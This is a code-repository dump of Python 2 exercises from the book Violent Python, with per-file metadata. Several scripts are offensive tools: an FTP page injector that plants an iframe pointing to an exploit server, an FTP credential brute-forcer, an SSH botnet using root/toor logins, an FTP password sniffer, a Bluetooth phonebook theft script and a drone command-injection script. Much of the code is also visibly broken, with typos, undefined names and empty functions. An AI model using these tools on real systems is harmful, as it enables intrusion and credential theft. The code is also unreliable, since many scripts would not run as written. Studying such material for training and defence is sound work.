"/testFastFlux.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "from scapy.all import *\ndnsRecords = {}\n\ndef banner():\n\tprint \"[***]\tDetect Fast Flux p152\t\t[***]\"\n\ndef handlePkt(pkt):\n\tif pkt.haslayer(DNSRR):\n\t\trrname = pkt.getlayer(DNSRR).rrname\n\t\trdata = pkt.getlayer(DNSRR).rdata\n\t\tif dnsRecords.has_key(rrname):\n\t\t\tif radata not in dnsRecords[rrname]:\n\t\t\t\tdnsRecords[rrname].append(rdata)\n\ndef main():\n\tbanner()\n\tpkts = rdpcap('fastFlux.pcap')\n\tfor pkt in pkts:\n\t\thandlePkt(pkt)\n\tfor item in dnsRecords:\n\t\tprint '[+] '+item+' has '+str(len(dnsRecords[item]))+' unique IPs.'\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.5931559205055237, "alphanum_fraction": 0.6261090040206909, "avg_line_length": 30.559999465942383, "blob_id": "f4cf5b7b290e624c54555be0966cc0817b7dcf3b", "content_id": "f72df2d51333dbd3686da59b1436269d073f9cbf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 789, "license_type": "permissive", "max_line_length": 72, "num_lines": 25, "path": "/injectPage.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport ftplib\n\ndef banner():\n print \" ##### Malicious Inject p61 #####\"\n print \" There is some use of Metasploit in this \"\n print \" section that warrants a good read. \"\n\ndef injectPage(ftp, page, redirect):\n f = open(Page + '.tmp', 'w')\n ftp.retrlines('RETR ' +page., f.write)\n print '[+] Downloaded Page: '+page\n f.write(redirect)\n f.close()\n print '[+] Injected Malicious IFrame on: '+page\n ftp.storlines('STOR '+page, open(page+ '.tmp'))\n print '[+] Uploaded Injected Page: '+page\n\nhost = '192.168.95.179'\nuserName = 'guest'\npassWord = 'guest'\nftp = ftplib.FTP(host)\nftp.login(userName, passWord)\nredirect = '<iframe src='+'\"http://10.10.10.112:8080/exploit\"></iframe>'\ninjectPage(ftp, 'index.html', redirect)\n" }, { "alpha_fraction": 0.6230876445770264, "alphanum_fraction": 0.6439499258995056, "avg_line_length": 25.66666603088379, "blob_id": "ca5f60d98dd2f02553628352544d0e07a78aa848", "content_id": "e441ff138e5cccd80cb35d3e79a6e5764111d74c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "permissive", "max_line_length": 77, "num_lines": 27, "path": "/bruteLogin.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport ftplib\nhost = '192.168.95.179'\npasswdFile = 'userpass.txt'\n\ndef banner():\n\tprint \"######## BruteLogin p 58 ########\"\n\tprint \"bruteLogin.py\"\n\ndef bruteLogin(hostname, passwdFile):\n\tpF = open(passwdFile, 'r')\n\tfor line in pF.readlines():\n\t\tuserName = line.split(':')[0]\n\t\tpassWord = line.split(':')[1].strip('\\n')\n\t\tprint '\\n[*] Trying: '+userName+\"/\"+passWord\n\t\ttry:\n\t\t\tftp = ftplib.FTP(hostname)\n\t\t\tftp.login(userName, passWord)\n\t\t\tprint '\\n[*] '+str(hostname)+' FTP Logon Succeded: '+userName+'/'+passWord\n\t\t\tftp.quit()\n\t\t\treturn (userName, passWord)\n\t\texcetp Exception, e:\n\t\t\tpass\n\tprint '\\n[-] Could not brute force FTP credentials.'\n\treturn (None, None)\n\nbruteLogin(host, passwdFile)" }, { "alpha_fraction": 0.6405750513076782, "alphanum_fraction": 0.6629393100738525, "avg_line_length": 20.620689392089844, "blob_id": "aae39c0b14ff2580844bd6053d00b660ffae1ef1", "content_id": "3d042f00534aa6ca1cbfe84a81fad1efd18ad8a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 626, "license_type": "permissive", "max_line_length": 52, "num_lines": 29, "path": "/defaultPages.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport ftplib\n\ndef banner():\n\tprint \"#### Find Webpages on FTP Server p59 ######\"\n\ndef returnDefault(ftp):\n\ttry:\n\t\tdirList = ftp.nlist()\n\texcetp:\n\t\tdirList = []\n\t\tprint '[-] Could not list directory contents.'\n\t\tprint '[-] Skipping To Next Target.'\n\t\treturn\n\tretList = []\n\tfor fileName in dirList:\n\t\tfn = fileName.lower()\n\t\tif '.php' in fn or '.htm' in fn or '.asp' in fn:\n\t\t\tprint '[+] Found default page: '+fileName\n\t\t\tretList.append(fileName)\n\t\treturn retList\n\nhost = '192.168.95.179'\nuserName = 'guest'\npassWord = 'guest'\nftp = ftplib.FTP9host()\n\nftp.login(userName, passWord)\nreturnDefault(ftp)" }, { "alpha_fraction": 0.63542640209198, "alphanum_fraction": 0.6607310175895691, "avg_line_length": 24.428571701049805, "blob_id": "84ed584e094b28d92b8e66caf415dd946eca3f56", "content_id": "2718cf1003ff3041ce58666fabc3da24684a9c67", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1067, "license_type": "permissive", "max_line_length": 61, "num_lines": 42, "path": "/botNet.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport optparse, pxssh\nUsage = 'JUST RUN THE DAMN SCRIPT'\n#Try looking through the notes to see if anything is missing.\ndef banner():\n\tprint \"##### SSH BotNet #######\"\n\tprint usage\n\nclass Client:\n\tdef__init__(self, host, user, password):\n\t\tself.host = host\n\t\tself.user = user\n\t\tself.password = password\n\t\tself.session = self.connect()\n\n\tdef connect(self):\n\t\ttry:\n\t\t\ts = pxssh.pxssh()\n\t\t\ts.login(self.host, self.user, self.password)\n\t\t\treturn s \n\t\texceopt Exceoption, e:\n\t\t\tprint e\n\t\t\tprint '[-] Error Connecting'\n\t\n\tdef send_command(self, cmd):\n\t\tself.session.sendline(cmd)\n\t\tself.session.prompt()\n\t\treturn self.session.before\n\t\n\tdef botnetCommand(comand):\n\t\tfor client in botNet:\n\t\t\toutput = client.send_command(command)\n\t\t\tprint '[+] ' +output+ '\\n'\n\n\tdef addClient(host, user, password):\n\t\tclient = Client(host, user, password)\n\t\tbotNet = []\n\t\taddClient('10.10.10.110', 'root', 'toor')\n\t\taddClient('10.10.10.120', 'root', 'toor')\n\t\taddClient('10.10.10.130', 'root', 'toor')\n\t\tbotnetCommand('uname -v')\n\t\tbotnetCommand('cat /etc/issue')" }, { "alpha_fraction": 0.6457399129867554, "alphanum_fraction": 0.6517189741134644, "avg_line_length": 19.9375, "blob_id": "8d7e7c88f170f1035eed60b5d6a0ed2128fbca8d", "content_id": "50ee2b6d1cfb6ec78bbe6e683133238109a6d4f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 669, "license_type": "permissive", "max_line_length": 104, "num_lines": 32, "path": "/dumpRecycleBin.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport os, optparse\nfrom _winreg import *\n\ndef banner():\n\tprint \"####### Recycle Bin Dump p91 #######\"\n\n\ndef sid2user(sid):\n\ttry:\n\t\tkey = OpenKey(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows_NT\\CurrentVersion\\ProfileList\"+'\\\\'+sid)\n\t\t(value, type) = QueryValueEx(key, 'ProfileImagePath')\n\t\tuser = value.split('\\\\')[-1]\n\t\treturn user\n\texcept:\n\t\treturn sid\n\ndef returnDir():\n\tdirs =['C:\\\\Recycler\\\\','C:\\\\Recycled\\\\','C:\\\\$Recycle.Bin\\\\']\n\tfor recycleDir in dirs:\n\t\tif os.path.isdir(recycleDir):\n\t\t\treturn recycleDir\n\treturn None\n\ndef main():\n\tbanner()\n\trecycleDir = returnDir()\n\tfindRecycled(recycleDir)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.5761589407920837, "alphanum_fraction": 0.6512141227722168, "avg_line_length": 22.842105865478516, "blob_id": "39e15d935cb257bd91a791f576f5ff0b41be165f", "content_id": "baf43f38cc9b07342d1f1d2e40a5df32e2005cd5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 453, "license_type": "permissive", "max_line_length": 60, "num_lines": 19, "path": "/AmexTest.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport re\ndef banner():\n\tprint \"[***]\tAmex finder p 176\t[***]\"\n\ndef findCreditCard(pkt):\n\tamericaRE = re.findall(\"3[47][0-9][13]\".raw)\n\tif americaRE:\n\t\tprint \"[+] Found American Express Card: \"+americaRE[0]\n\ndef main():\n\ttests = []\n\ttests.append(\"I would like to buy 1337 copies of that dvd\")\n\ttests.append (\"Bill my card: 378282246310005 for \\$2600\")\n\tfor test in tests:\n\t\tfindCreditCard(test)\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.7084745764732361, "alphanum_fraction": 0.7220339179039001, "avg_line_length": 21.769229888916016, "blob_id": "a4e9d1e19d99a0934535b46959d4970228a8bf20", "content_id": "aaebb53cf0f44483070633935a958bcf13f03122", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 295, "license_type": "permissive", "max_line_length": 38, "num_lines": 13, "path": "/printCookies.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import mechanize, cookielib\n\ndef banner():\n\tprint \"### prints cookies p2016 ###\"\n\ndef printCookies(url):\n\tbrowser = mechanize.Browser()\n\tcookie_jar = cookielib.LWPCookieJar()\n\tpage = brownser.open(url)\n\tfor cookie in cookie_jar:\n\t\tprink cookie\nurl = 'http://www.syngress.com/'\nprint Cookies(url)" }, { "alpha_fraction": 0.644859790802002, "alphanum_fraction": 0.6523364782333374, "avg_line_length": 16.25806427001953, "blob_id": "53b0e2e7211ea1b8678d17ce31c7022c43f1a8b4", "content_id": "ef913a36f0b2b957e243dabcb602cee4a1403e98", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 535, "license_type": "permissive", "max_line_length": 50, "num_lines": 31, "path": "/btFind.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport time\nfrom bluetooth import *\n\ndef banner():\n\tprint \"[***]\tBluetooth Detector p201\t[***]\"\n\ndef lookup_name(device):\n\tdevList =discover_devices()\n\tfor device in devList:\n\t\tname = str(lookup_name(device))\n\t\tprint \"[+] Found Bluetooth Device \"+str(name)\n\t\tprint \"[+] MAC address: \"+str(devices)\n\t\talreadyFound.append(addr)\n\twhile True:\n\t\tfindDevs()\n\t\ttime.sleep(5)\n\ndef findDevs():\n\tfoundDevs = discover_devices(lookup_names = True)\n\tfor (addr,name)\n\n\n\n'''\n\ndef main():\n\nif __name__ == '__main__':\n\tmain()\n'''\n" }, { "alpha_fraction": 0.6266902089118958, "alphanum_fraction": 0.6343327164649963, "avg_line_length": 24.787878036499023, "blob_id": "30be7aa81fbc38a2cd8f2eef600fd46635dc9424", "content_id": "84c6991151d99a743e5ae0f08dd4c216a2c49a0d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1701, "license_type": "permissive", "max_line_length": 99, "num_lines": 66, "path": "/geoPrint.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport pygeoip, dpkt, socket, optparse\n\ngi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat')\ntgt = '173.255.226.98'\t\t\t\t\t\t\t\t\t\t#Could be added as an argument\n\ndef banner():\n\tprint \"#### IP to Physical Address Map p131 ####\"\n\tpirnt \"\"\n\ndef printRecort(tgt):\n\t#By itself can print the Lon/Lat of an IP address \n\trec = gi-record_by_name(tgt)\n\tcity = rec['city']\n\tregion = rec['region_name']\n\tcountry = rec['country_name']\n\tlong = rec['longitude']\n\tlat = rec['latitude']\n\tprint '[*] Target: '+tgt+' Geo-located. '\n\tprint '[+] '+str(city)+', '+str(region)+', 'str(country)\n\tprint '[+] Latitude: '+str(lat)+', Longitude: '+str(long)\n\ndef retGeoStr(ip):\n\ttry: \n\t\trec = gi.gi-record_by_name(ip)\n\t\tcity = rec['city']\n\t\tcountry = rec['country']\n\t\tif city != '':\n\t\t\tgeoLoc = city+ ', '+country\n\t\telse:\n\t\t\tgeoLoc = country\n\t\treturn geoLoc\n\texcept Exception, e:\n\t\treturn 'Unregistered'\n\t\t\ndef printPcap(pcap):\n\t#By itself can print the src & dest of pcap. Include main() that's commented out in this function\n\tfor (ts, buf) in pcap:\n\t\ttry:\n\t\t\teth = dpkt.ethernet.Ethernet(buf)\n\t\t\tip = eth.data\n\t\t\tsrc = cocket.inet_ntoa(ip.src)\n\t\t\tdst = socket.inet_ntoa(ip.dst)\n\t\t\tprint '[+] Src: '+src+ ' --> Dst: '+dst\n\t\texcept:\n\t\t\tpass \n'''\ndef main():\n\tf = open('geotest.pcap')\n\tpcap = dpkt.pcap.Reader(f)\n\tprintPcap(pcap)\n'''\ndef main():\n\tparser = optparse.OptionParser('usage%prog '+'-p <pcap file>')\n\tparser.add_option('-p', dest='pcapFile', type ='string', help='specify pcap file')\n\t(options, args) = parser.parse_args()\n\tif options.pcapFile == None:\n\t\tprint parser.usage\n\t\texit(0)\n\tpcapFile = options.pcapFile\n\tf=open(pcapFile)\n\tpcap = dpkt.pcap.Reader(f)\n\tprintPcap(pcap)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6314525604248047, "alphanum_fraction": 0.6422569155693054, "avg_line_length": 24.272727966308594, "blob_id": "b44398aea8f4579ec1664484196959439b8f5e1c", "content_id": "d8bbd999939f57eaa5cb0aecb6332136a84285fd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 833, "license_type": "permissive", "max_line_length": 96, "num_lines": 33, "path": "/ftp-sniff.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import optparse\nfrom scapy import *\n\ndef banner():\n\tprint \"[***]\tFTP Sniff p 185\t\t[***]\"\n\ndef ftpSniff(pkt):\n\tdest = pkt.getlayer(IP).dst\n\traw = pkt.sprintf('%Raw.load%')\n\tuser = re.findall('(?i)USER(.*).raw')\n\tpswd = re.findall('(?i)USER(.*).raw')\n\tif user:\n\t\tprint '[*] Detected FTP Login to '+str(dest)\n\t\tprint '[+] User Account: '+str(user[0])\n\telif pswd:\n\t\tprint '[+] Password: '+str(pswd[0])\n\ndef main():\n\tparser = optparse.OptionParser('usage%prog'+'-i<interface>')\n\tparser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')\n\t(options, args) = parser.parse_args()\n\tif options.interface == None:\n\t\tprint parser.usage\n\t\texit(0)\n\telse:\n\t\tconf.iface = options.interface\n\ttry:\n\t\tsniff(filter='tcp port 21', prn=ftpSniff)\n\texcept KeyboardInterrupt:\n\t\texit(0)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6389452219009399, "alphanum_fraction": 0.6450304388999939, "avg_line_length": 19.58333396911621, "blob_id": "e2610edf4065d4efb0fadce68b98a20123c00f67", "content_id": "7521af7cf4fe49e14e14a2c75cc15ba62f77c090", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 493, "license_type": "permissive", "max_line_length": 64, "num_lines": 24, "path": "/anonLogin.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport ftplib, sys\nhostname = sys.argv[1]\n\ndef banner():\n\tprint \"[***]\tAnonymous FTP Scanner p57\t[***]\"\n\ndef anonLogin(hostname):\n\ttry:\n\t\tftp = ftplib.FTP(hostname)\n\t\tftp.login('anonymous', '[email protected]')\n\t\tprint '\\n[*] '+str(hostname)+ 'FTP Anonymous Login Succeeded.'\n\t\tftp.quit()\n\t\treturn True\n\texcept Exception e:\n\t\tprint '\\n[-] '+str(hostname)+ 'FTP Anonymous Login Failed.'\n\t\treturn False\n\ndef main():\n\tbanner()\n\tanonLogin(hostname)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.5367231369018555, "alphanum_fraction": 0.5706214904785156, "avg_line_length": 11.571428298950195, "blob_id": "a37f608ba630e7e794a1927d355dc3be9b09d101", "content_id": "64a35f680e8ea36296637c6eb5830f1e36cb28a7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 177, "license_type": "permissive", "max_line_length": 48, "num_lines": 14, "path": "/fireCatcher.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "\n\ndef banner():\n\tprint \"### Firesheep Detector p197-200 ###\"\n\tprint \"\"\n\ndef fireCatcher(pkt):\n\ndef main():\n\tbanner()\n\tfireCatcher(pkt):\n\n\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.5094339847564697, "alphanum_fraction": 0.5660377144813538, "avg_line_length": 25, "blob_id": "183a5d61c22eea3336305795b18f4ef80c8b77be", "content_id": "2bd7d69b9a3ace03044fdcf7c6c929d922ae4990", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 53, "license_type": "permissive", "max_line_length": 37, "num_lines": 2, "path": "/findDownload.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "\n\ndef banner():\n\tprint \"#### ---Find Download p 135\"" }, { "alpha_fraction": 0.6235913038253784, "alphanum_fraction": 0.6318557262420654, "avg_line_length": 23.218181610107422, "blob_id": "b06fcc890a3fa7b2b677a8da1b36534ae0573940", "content_id": "ff93f27dd5135f71ca928e7cb18ea8da0a83a4c8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1331, "license_type": "permissive", "max_line_length": 112, "num_lines": 55, "path": "/PyGoogleMap.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import dpkt, socket, pygeoip, optparse\n\ndef banner():\n\tprint \"#### Use Python to build a Google Map p134 #####\"\n\tprint \"\"\n\ndef retKML(ip):\n\trec = gi.record_by_name(ip)\n\ttry:\n\t\tlongitude = rec['longitude']\n\t\tlatitude = rec['latitude']\n\t\tkml = (\n\t\t\t'<Placemark>\\n'\n\t\t\t'<name>&s</name\\n'\n\t\t\t'<Point>\\n'\n\t\t\t'<coordinates>%6f.%6f</coordinates>\\n'\n\t\t\t'</Point>\\n'\n\t\t\t'</Placemark>\\n'\n\t\t\t)%(ip, longitude, latitude)\n\t\treturn kml\n\texcept:\n\t\treturn ''\n\ndef plotIPs(pcap):\n\tkmlPts = ''\n\tfor (ts, buf), in pcap:\n\t\ttry:\n\t\t\teth = dpkt.ethernet.Ethernet(buf)\n\t\t\tip = eth.data\n\t\t\tsrc = socket.inet+ntoa(ip.src)\n\t\t\tscrKML = retKML(src)\n\t\t\tdst = socket.inet_ntoa(ip.dst)\n\t\t\tdstKML = retKML(dst)\n\t\t\tkmlPts = kmlPts+srcKML+dstKML\n\t\texcept:\n\t\t\tpass\n\t\treturn kmlPts\n\ndef main():\n\tparser = optparse.OptionParser('usage%prog '+'-p <pcap file>')\n\tparser.add_option('-p', dest='pcapFile', type ='string', help='specify pcap file')\n\t(options, args) = parser.parse_args()\n\tif options.pcapFile == None:\n\t\tprint parser.usage\n\t\texit(0)\n\tpcapFile = options.pcapFile\n\tf = open(pcapFile)\n\tpcap = dpkt.pcap.Reader(f)\n\tkmlheader = '<?xml version =\"1.0\" encoding = \"UTF-8\"? \\n<kml xmlns=\"http://opengis.net/kml/2.2\">\\n<Document>\\n'\n\tkmlfooter = '</Documen t>\\n</kml\\n'\n\tkmldoc = kmlheader+plotIPs(pcap)+kmlfooter\n\tprint kmldoc\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.7839195728302002, "alphanum_fraction": 0.8090452551841736, "avg_line_length": 55.71428680419922, "blob_id": "5a64d9f296a8b3d05b07fe5ec18acb0546c90c24", "content_id": "0086e1f4f44f26865d152abe3996bf50bdfa944e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 398, "license_type": "permissive", "max_line_length": 183, "num_lines": 7, "path": "/README.md", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "# ViolentPython\nThis repository houses the exercises from the book Violent Python\n\n\n[Violent Python](https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579 \"Violent Python on Amazon\")\n\nThe Python scripts include a banner with the page number, but have not been sorted otherwise. The scripts will be updated with slight changes such as banners, or additional features. " }, { "alpha_fraction": 0.6132315397262573, "alphanum_fraction": 0.6590330600738525, "avg_line_length": 18.700000762939453, "blob_id": "817b8767eb43b42e1db5dec790dc55264f376cb4", "content_id": "ad28bc720b9f9ad5f8bbb4a1fcca10365c891e27", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 393, "license_type": "permissive", "max_line_length": 44, "num_lines": 20, "path": "/proxyTest.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import mechanize\nurl = 'http://ip.nefsc.noaa.gov'\nhideMeProxy = {'http':'216.155.139.115:3128'}\n\ndef banner():\n\tprint \"[***]\tAnon Proxy p214\t\t[***]\"\n\ndef testProxy(url, proxy):\n\tbrowser = mechanize.Browser()\n\tbrowser.set_proxies(proxy)\n\tpage = browser.open(url)\n\tsource_code = page.read()\n\tprint source_code\n\ndef main():\n\tbanner()\n\ttestProxy(url,hideMeProxy)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6271929740905762, "alphanum_fraction": 0.6513158082962036, "avg_line_length": 21.850000381469727, "blob_id": "d077ad0aa10b844d72c27d1d3ae26c9aab78fe5e", "content_id": "cc1722cc20e105a92c4b62f30f99f00e8bb3b66b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 456, "license_type": "permissive", "max_line_length": 56, "num_lines": 20, "path": "/bluebug.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport bluetooth\n\ndef banner():\n\tprint \"[***]\tBluebug a phone p209\t[***]\"\n\ndef main():\n\ttgtPhone = \"AA:BB:CC:DD:EE:FF\"\n\tport = 17\n\tphoneSock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n\tphoneSock.connect((tgtPhone, port))\n\tfor contact in range(1,5):\n\t\tatCmd='AT+CPBR='+str(contact)+'\\n'\n\t\tphoneSock.send(atCmd)\n\t\tresult=client_sock.recv(1024)\n\t\tprint '[+] '+str(contact)+': '+result\n\tsock.close()\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6752293705940247, "alphanum_fraction": 0.6807339191436768, "avg_line_length": 24.34883689880371, "blob_id": "418bb19d9c8523236fd38da0f02d68521c331b7c", "content_id": "9dc2c351fa0ce6eeeefe6c624c456241bef6746f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1090, "license_type": "permissive", "max_line_length": 98, "num_lines": 43, "path": "/anonGoogle.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\nimport json, urllib, optparser\nfrom anonBrowser import *\n\ndef banner():\n\tprint \"[***]\tMirroring images p226\t[***]\"\n\nclass Google_Result:\n\tdef __init__(self,title,text,url):\n\t\tself.title = title\n\t\tself.text = text\n\t\tself.url = url\n\tdef __repr__(self):\n\t\treturn self.title\n\ndef google(search_term):\n\tab = anonBrowser()\n\tsearch_term = urllib.quote_plus(search_term)\n\tresponse = ab.open('http://ajax.googleapis.com/'+'ajax/services/search/web?v=1.0&q='+search_term)\n\tobjects = json.load(response)\n\tresults = []\n\tfor result in objects['responseData']['results']:\n\t\turl = result['url']\n\t\ttitle = result['content']\n\t\tnew_gr = Google_Result(title,text,url)\n\t\tresults.append(new_gr)\n\treturn results\n\ndef main():\n\tparser = optparse.OptionParser('useage%prog '+'-k <keywords>')\n\tparser.add_option('-k', dest='keyboard', type='string', help='specify google keyword')\n\t(options,args) = parser.parse_args()\n\tkeyword = options.keyword\n\tif option.keyword == None:\n\t\tprint parser.useage\n\t\texit(0)\n\telse:\n\t\tresults = google(keyword)\n\t\tprint results\n\n\nif __name__ == '__main__':\n\tmain()\n" }, { "alpha_fraction": 0.623115599155426, "alphanum_fraction": 0.660804033279419, "avg_line_length": 25.53333282470703, "blob_id": "cb8243fec29f45bf201eb91c8cc54b2ed37ea97f", "content_id": "78863adaf62d867a26c38abd9351bf0adb68b66d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 796, "license_type": "permissive", "max_line_length": 56, "num_lines": 30, "path": "/find-my-iphone.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "from scapy.all import *\nfrom bluetooth import *\n\ndef banner():\n\tprint \"[***]\tFind iphone bluetooth p204\t[***]\"\n\ndef retBtAddr(addr):\n\tbtAddr = str(hex(int(addr.replace(':', ''), 16)+1))[:2]\n\tbtAddr = btAddr[0:2]+\":\"+btAddr[4:6]+\":\"+\\\n\tbtAddr[6:8]+\":\"+btAddr[8:10]+\":\"+btAddr[10:12]\n\treturn btAddr\n\ndef checkBluetooth(btAddr):\n\tbtName = lookup_name(btAddr)\n\tif btName: \n\t\tprint '[+] Detected Bluetooth Device: '+btName\n\telse:\n\t\tprint '[-] Failed to Detect Bluetooth Device.'\n\ndef wifiPrint(pkt):\n\tiPhone_OUI = 'd0:23:db'\n\tif pkt.haslayer(Dot11):\n\t\twifiMAC = kpt.getlayer(Dot11).addr2\n\t\tif iPhone_OUI == wifiMAC[:8]:\n\t\t\tprint '[*] Detected iPhone MAC: '+wifiMAC\n\t\t\tbtAddr = retBtAddr(wifiMAC)\n\t\t\tprint '[+] Testing Bluetooth MAC: '+btAddr\n\t\t\tcheckBluetooth\nconf.iface = 'mon0'\nsniff(prn=wifiPrint)\n" }, { "alpha_fraction": 0.6590229272842407, "alphanum_fraction": 0.6640079617500305, "avg_line_length": 21.81818199157715, "blob_id": "d012f913a6e8a6cf180c8739e4b580aca8a80d1b", "content_id": "95ef2e32dbb574272a556db39fa0d98fa6213379", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1003, "license_type": "permissive", "max_line_length": 91, "num_lines": 44, "path": "/linkParser.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "from anonBrowser import *\nfrom BeautifulSoup import BeautifulSoup\nimport os, optparse, re\n\ndef banner():\n\tprint \"[***]\tParse HREF Link Parser p219\t\t[***]\"\n\ndef printLinks():\n\tab=anonBrowser()\n\tab.anonymize()\n\tpage=ab.open(url)\n\thtml=page.read()\n\ttry:\n\t\tprint '[+] Printing Links from Regex.'\n\t\tlink_finder = re.complie('href=\"(.*?)\"')\n\t\tlinks = link_finder.findall(html)\n\t\tfor link in links:\n\t\t\tprint link\n\texcept:\n\t\tpass\n\ttry:\n\t\tprint '\\n[+] Printing Links from BeautifulSoup'\n\t\tsoup = BeautifulSoup(html)\n\t\tlinks = soup.findAll(name='a')\n\t\tfor link in links:\n\t\t\tif link.has_key('href'):\n\t\t\t\tprink link0['href']\n\texcept:\n\t\tpass\n\ndef main():\n\tparser = optparse.OptionParser('usage%prog '+'-t <target URL> -d <destination directory>')\n\tparser.add_option('-u', dest='tgtURL', type ='string', help='Specify target URL')\n\t(options, args) = parser.parse_args()\n\turl = options.tgtURL\n\tdir=options.dir\n\tif url == None:\n\t\tprint parser.usage\n\t\texit(0)\n\telse:\n\t\tprintLinks(url)\n\nif __name__ == '__main__':\n\tmain()" }, { "alpha_fraction": 0.6290516257286072, "alphanum_fraction": 0.6650660037994385, "avg_line_length": 21.835617065429688, "blob_id": "a744abbbfc1f6a120098a1c5253d760181b306b9", "content_id": "16520da77fbf46966e5ea4d8b9a10e8e887f8604", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1666, "license_type": "permissive", "max_line_length": 59, "num_lines": 73, "path": "/uav-sniff.py", "repo_name": "n1cfury/ViolentPython", "src_encoding": "UTF-8", "text": "import threading, dup\nfrom scapy.all import *\n\nconf.iface='mon0'\nNAVPORT = 5556\nLAND = '290717696'\nEMER = '290717952'\nTAKEOFF = '290718208'\n\ndef banner():\n\tprint \"[***]\tUAV shutdown p195\t[***]\"\n\n\nclass interceptThread(threading, Thread):\n\tdef __init__(self):\n\t\tthreading.Thread.__init__(self)\n\t\tself.curPkt = None\n\t\tself.seq=0\n\t\tself.foundUAV = False\n\n\tdef run(self):\n\t\tsniff(prn=self.interceptPkt, filter='udp port 5556')\n\n\tdef interceptPkt(self, pkt):\n\t\tif self.foundUAV == False:\n\t\t\tprint '[*] UAV Found.'\n\t\t\tself.foundUAV = True\n\t\tself.curPkt = pkt\n\t\traw = pkt.psrintf('%Raw.load%')\n\t\ttry:\n\t\t\tself.seq = int(raw.split(','[0].split('='[-1])+5))\n\t\texcept:\n\t\t\tself.seq = 0\n\n\tdef injectCmd(self, cmd):\n\t\tradio = dup.dupRadio(self, curPkt)\n\t\tdot11 = dup.dupDot11(self, curPkt)\n\t\tsnap = dup.dupSNAP(self.curPkt)\n\t\tllc = dup.dupLLC(self.curPkt)\n\t\tip = dup.dupIP(self.curPkt)\n\t\tudp = 